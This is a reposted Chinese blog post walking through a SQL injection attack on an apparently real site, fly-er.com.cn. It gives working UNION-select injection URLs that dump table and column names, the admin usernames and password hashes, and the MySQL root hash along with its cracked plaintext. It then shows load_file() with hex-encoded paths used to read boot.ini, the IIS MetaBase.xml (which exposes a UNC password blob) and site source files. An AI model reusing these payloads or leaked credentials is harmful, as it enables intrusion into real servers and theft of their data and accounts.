php_mysql注入load_file()IIS配置文件获取
生活随笔
收集整理的這篇文章主要介紹了
php_mysql注入load_file()IIS配置文件获取
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
先看一個注入點:
http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database(),0x5c,user(),0x5c,version()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 得到回顯:flier_dbase\root@localhost\5.0.22-community-nt 如果說注入點算是第一個漏洞,那么這個root就是管理員制造的第二個網站漏洞了 表段:http://www. .cn/news_detail.php?newsid=1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_schema=0x666C6965725F6462617365 得到數據:pub_config,pub_tree,pub_webmaster,web_img,web_keys,web_ly,web_news,web_news_review ? pub_webmaster的字段:?http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+column_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 得到數據:webmasterid,username,userpwd,loginnum,ip,lasttime,tree,name,dtime,sex,jobs 這下出來管理員數據: http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+username,0x5f,userpwd),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+pub_webmaster 得到:admin_9b45d683e499e7bd yfh_7a57a5a743894a0e//這里是第三個漏洞了,弱口令admin 既然找不到后臺地址,那么干脆爆MySql管理員的口令 http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(user,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user 得到數據:root*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD 數據庫就一個賬戶,如果解不開,豈不是要放棄?那倒不比,第一,咱解開了,對于八位字母數字加符號的密碼,學校的分布式密碼破解系統毫不吃力的說。不過這個密碼是八位字母加符號,也算不的弱口令,暫且不算是漏洞吧。 *CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD對應的明文是qweasd)@ 第二,咱還有別的路子,隨便訪問一個路徑,反饋的是IIS6的404默認頁,說明網站服務器是:Windows+IIS6+php+MySql的環境 先把c:\\boot.ini這串路徑進行hex編碼得到:0x633A5C5C626F6F742E696E69 然后、http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C626F6F742E696E69),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 看回顯: [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut 雖然能load_file加載文件,但是似乎用處不大。非也非也,既然是IIS6,那么加載c:\\windows\\system32\\inetsrv\\MetaBase.xml這個路徑就可以獲取網站配置信息了。 *注:Windows進行文件操作,路徑一定要是雙斜杠,如果是單斜杠,八成會load_file失敗,探討其原因,可能是因為,斜杠是這樣的\左上右下,而Linux則是/右上左下。如果在Windows的路徑斜杠后面跟個t也就是\t,看看在編程里面是什么?如果\n呢?\'呢?沒錯,路徑的斜杠就沒了。如果是雙斜杠,\\那才是真的單斜杠。如果你需要輸出雙斜杠,那么你要用四個斜杠來表示,郁悶不?\\\\ 最后注入句就是:http://www.fly-er.com.cn/news_detail.php?newsid=- 1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 得到回顯如下: 主要看這幾句配置: ?| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | <IIsWebServer??????? Location ="/LM/W3SVC/2125961364" ????????????????AuthFlags="0" ????????????????LogExtFileFlags="LogExtFileDate | LogExtFileTime | LogExtFileClientIp | LogExtFileUriStem | LogExtFileUriQuery | LogExtFileHttpStatus | LogExtFileWin32Status | LogExtFileServerPort | LogExtFileUserAgent | LogExtFileHttpSubStatus" ????????????????LogFileDirectory="E:\flylog" ????????????????LogFileLocaltimeRollover="FALSE" ????????????????LogFilePeriod="1" ????????????????LogFileTruncateSize="20971520" ????????????????LogPluginClsid="{FF160663-DE82-11CF-BC0A-00AA006111E0}" ????????????????ServerAutoStart="TRUE" ????????????????ServerBindings=":80:fly-er.com.cn ????????????????????????:80:www.fly-er.com.cn" ????????????????ServerComment="fly-er.com.cn" ????????> </IIsWebServer> |
?
還有: ?| 1 2 3 4 5 6 7 8 9 10 11 12 | <IIsWebVirtualDir??????? Location ="/LM/W3SVC/2125961364/root" ????????????????AccessFlags="AccessRead | AccessWrite | AccessScript" ????????????????AppFriendlyName="默認應用程序" ????????????????AppIsolated="2" ????????????????AppRoot="/LM/W3SVC/2125961364/Root" ????????????????AuthFlags="AuthAnonymous | AuthNTLM" ????????????????DefaultDoc="yindao.html,index.html,index.php,Default.htm,Default.asp,index.htm" ????????????????DirBrowseFlags="DirBrowseShowDate | DirBrowseShowTime | DirBrowseShowSize | DirBrowseShowExtension | DirBrowseShowLongDate | EnableDefaultDoc" ????????????????Path="F:\web\2010716\new_flyer" ????????????????UNCPassword="49634462500000000600000040000000894077f761d33600623e24d0e5dfbe254f63ee6490a3af6f918760ac2fbd00627e07669149f74641659a4383366f9edefd9c02f6555c8692c1c93d2483008b9721cbdae4fac9a380" ????????> </IIsWebVirtualDir> |
?
這下子我們構造: http://www. ?.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x463A5C5C7765625C5C323031303731365C5C6E65775F666C7965725C5C696E6465782E706870),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 右鍵查看源代碼就可以了 *注:load_file用的時候,最好在外面加一個hex即:hex(load_file(xxxxxxx)) 因為我遇到過一個網站,主頁不知道是哪里的代碼有問題,注入點在主頁。我用主頁load_file主頁文件,外面沒嵌套hex的話,主頁就被循 環顯示了,就是類似這樣:index里面有一個iframe,iframe加載的是index這個文件,index這個文件里面的iframe又加載 index這個文件,循環往復下去,直到把機器資源耗盡。雖然不知道當時那個網站是不是這個iframe,但是這樣的嵌套確實有死循環發生,所以建議 hex嵌套load_file 我比較在意的是index里面這樣的一個地方的代碼: ?| 1 2 3 4 5 | require('admin_flier/common/function.php'); require('admin_flier/lib/class/form.class.php'); require('admin_flier/lib/class/db.class.php'); require('admin_flier/lib/class/page.class.php'); include('inc/head.php'); |
?
呵呵,這里不就是后臺地址么? 顯然,后臺的安全性也不夠。就算是隱藏了后臺地址,工具掃不到,那也不意味著可以放松后臺的安全性吧?轉載于:https://www.cnblogs.com/shsgl/p/4549426.html
總結
以上是生活随笔為你收集整理的php_mysql注入load_file()IIS配置文件获取的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 显式调用构造函数产生的悲剧
- 下一篇: 分布评价指标分析(切比雪夫距离,KL距离